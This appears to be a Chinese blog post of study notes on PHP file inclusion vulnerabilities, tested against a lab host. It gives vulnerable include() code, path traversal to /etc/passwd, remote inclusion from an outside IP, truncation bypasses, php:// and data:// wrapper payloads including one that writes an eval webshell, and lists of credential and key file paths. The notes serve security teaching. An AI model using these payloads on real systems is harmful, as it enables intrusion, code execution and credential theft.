WEB安全之:文件包含

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

包含文件(include file)。这种功能允许开发者把可重复使用的代码插入到单个的文件中,并在需要时将它们包含在特殊功能的代码文件中。

程序在引用文件的时,对传入的文件名没有经过合理的校验或校验不严,从而操作了预想之外的文件,就有可能导致文件泄漏和恶意的代码注入。

1 PHP 中文件包含函数

require()

require_once()

include()

include_once()

includerequire 主要区别是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而 require 函数出现错误的时候,会直接报错并退出程序的执行。

include_once()require_once() 主要区别是,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包含超过一次的情况。

2 无限制文件包含绕过

2.1 无限制文件包含测试语句

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

2.2 本地文件包含绕过

在服务器上获取通过正常途径无法访问的文件

http://include.lab.com/include/file01.php?file=../../../../../../../../../../../../etc/passwd

2.3 远程文件包含绕过

前提条件

  • php.ini 中开启以下功能
// 是否允许打开远程文件
allow_url_fopen = On
// 是否允许 include/require 远程文件
allow_url_include = On

利用远程的恶意包含文件,获取当前系统信息

http://include.lab.com/include/include01.php?filename=http://192.168.100.129/phpinfo

cat phpinfo
<?php phpinfo();?>

3 有限制文件包含绕过

3.1 限制文件类型的文件包含测试语句

<?php
    $filename  = $_GET['filename'];
    include($filename . ".html");
?>

3.2 有限制本地文件包含绕过

3.2.1 %00 截断绕过

前提条件

  • magic_quotes_gpc = Off :当打开magic_quotes_gpc 时,所有的 '(单引号),"(双引号),(反斜线)和 NULL字符(%00) 都会被自动加上一个反斜线进行转义。还有很多函数有类似的作用,如:addslashes()、mysql_escape_string()、mysql_real_escape_string()
  • php 版本 < 5.3.4
http://include.lab.com/include02.php?filename=C:\phpStudy\PHPTutorial\MySQL\my.ini%00

http://include.lab.com/include02.php?filename=http://192.168.100.129/phpinfo%00

cat phpinfo
<?php phpinfo();?>

3.2.2 . 号截断绕过

前提条件

  • PHP 版本 < 5.2.9
  • 若 Linux 文件名 > 4096 字节,超出的部分会被丢弃;
  • 若 Windows 文件名 > 256 字节,超出的部分会被丢弃;
windows:
http://include.lab.com/include02.php?filename=phpinfo.php................................................................................................................................................................................................................

3.2.3 路径截断绕过

前提条件

  • 若 Linux 路径长度 > 4096 字节,超出的部分会被丢弃;
  • 若 Windows 路径长度 > 256 字节,超出的部分会被丢弃;
  • 注意:最后一个字符为 /
http://include.lab.com/include02.php?filename=phpinfo.php/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

3.3 有限制远程文件包含绕过

3.3.1 远程文件测试脚本

cat phpinfo 
<?php phpinfo();?>

3.3.2 ? 号绕过

前提条件:

  • PHP 版本 >= 5.3
http://include.lab.com/include02.php?filename=http://192.168.100.129/phpinfo?

3.3.3 # 号绕过

  • 注意:# 需要进行 URL 编码
http://include.lab.com/include02.php?filename=http://192.168.100.129/phpinfo%23

3.3.4 空格绕过

  • 注意:空格需要进行 URL 编码
http://include.lab.com/include02.php?filename=http://192.168.100.129/phpinfo%20

4 PHP 伪协议

具体请参考PHP伪协议总结 - SegmentFault 思否

远程文件包含测试文档

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

远程文件包含测试脚本

cat phpinfo <?php phpinfo();?>

4.1 php://filter

元封装器,设计用于"数据流打开"时的"筛选过滤"应用,对本地磁盘文件进行读写。该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。

作用:用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行,读取本地磁盘文件

php://filter 参数描述
resource=<要过滤的数据流>必须项。它指定了你要筛选过滤的数据流。
read=<读链的过滤器>可选项。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的过滤器>可选项。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<; 两个链的过滤器>任何没有以 read=write= 作前缀的筛选器列表会视情况应用于读或写链。
  • 可用的过滤器列表(4类)

    PHP: 可用过滤器列表 - Manual

    字符串过滤器作用
    string.rot13等同于 str_rot13(),rot13 变换
    string.toupper等同于 strtoupper(),转大写字母
    string.tolower等同于 strtolower(),转小写字母
    string.strip_tags等同于 strip_tags(),去除 html、PHP 语言标签
    转换过滤器作用
    convert.base64-encode & convert.base64-decode等同于base64_encode()base64_decode(),base64编码解码
    convert.quoted-printable-encode & convert.quoted-printable-decodequoted-printable 字符串与 8-bit 字符串编码解码
    压缩过滤器作用
    zlib.deflate & zlib.inflate在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
    bzip2.compress & bzip2.decompress同上,在本地文件系统中创建 bz2 兼容文件的方法。
    加密过滤器作用
    mcrypt.*libmcrypt 对称加密算法
    mdecrypt.*libmcrypt 对称解密算法
  • 条件

    php < 5.0 ,在 allow_url_include=Off 情况下也可以用

    php > 5.0,只有在allow_url_fopen=On 时才能使用

  • 示例

http://include.lab.com/include01.php?filename=php://filter/read=convert.base64-encode/resource=phpinfo.php
// 获取源码的 base64 编码PD9waHAgcGhwaW5mbygpOz8+

4.2 php://input

php://input 可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。

注意

enctype="multipart/form-data" 时, php://input 是无效的。

4.2.1 php://input (读取 POST 数据)

用法

?filename=php://input 数据利用POST传过去。

http://include.lab.com/include01.php?filename=php://input

[POST DATA部分]火狐浏览器使用 New Hackbar 测试成功
<?php phpinfo(); ?>

4.2.2 php://input (写入 POST 数据)

  • 条件

    php 配置文件中需同时开启 allow_url_fopenallow_url_include(PHP < 5.3.0),就可以造成任意代码执行,即 POST 过去 PHP 代码,即可执行。

  • 注意

    碰到 file_get_contents() 就要想到用 php://input 绕过,因为 php 伪协议也是可以利用 http 协议的,即可以使用 POST 方式传数据;

  • 示例

    http://include.lab.com/include01.php?filename=php://input
    
    [POST DATA部分]火狐浏览器使用 New Hackbar 测试成功
    <?php fputs(fopen('webshell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
    
    // 增加内容
    <?php fputs(fopen('webshell.php','a'),'<?php phpinfo(); ?>'); ?>
    

4.3 data://

data:// 是一种数据流封装器,data:URI schema (URL schema可以是多种形式)

  • 条件

    • // 是否允许打开远程文件
      allow_url_fopen = On
      // 是否允许 include/require 远程文件
      allow_url_include = On
      
    • PHP>=5.2.0

  • 作用:使用 data:// 数据流封装器传递相应格式的数据。通常可以用来执行 PHP 代码。

  • 用法

    data://text/plain,
    data://text/plain;base64,
    
  • 示例

    http://include.lab.com/include01.php?filename=data:text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg==
    

5 常见文件路径

5.1 linux 日志文件

/usr/local/apache2/logs/access_log
/logs/access_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log

5.2 网站配置文件

// dedecms 数据库配置文件
data/common.inc.php,

// phpcms 配置文件
caches/configs/database.php

// phpwind 配置文件
conf/database.php

// wordpress 配置文件
wp-config.php

// discuz 全局配置文件
config/config_global.php,

5.3 系统配置文件

windows
// 查看系统版本
C:/boot.ini
// IIS配置文件
C:/Windows/System32/inetsrv/MetaBase.xml
// 存储系统初次安装的密码
C:/Windows/repairsam
C:/Windows/php.ini
C:/Windows/my.ini
C:/Program Files/mysql/my.ini
// Mysql root 用户密码
C:/Program Files/mysql/data/mysql/user.MYD

linux
// ssh 相关
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
posted @ 2021-06-20 16:52  f_carey  阅读(41)  评论(0)    收藏  举报  来源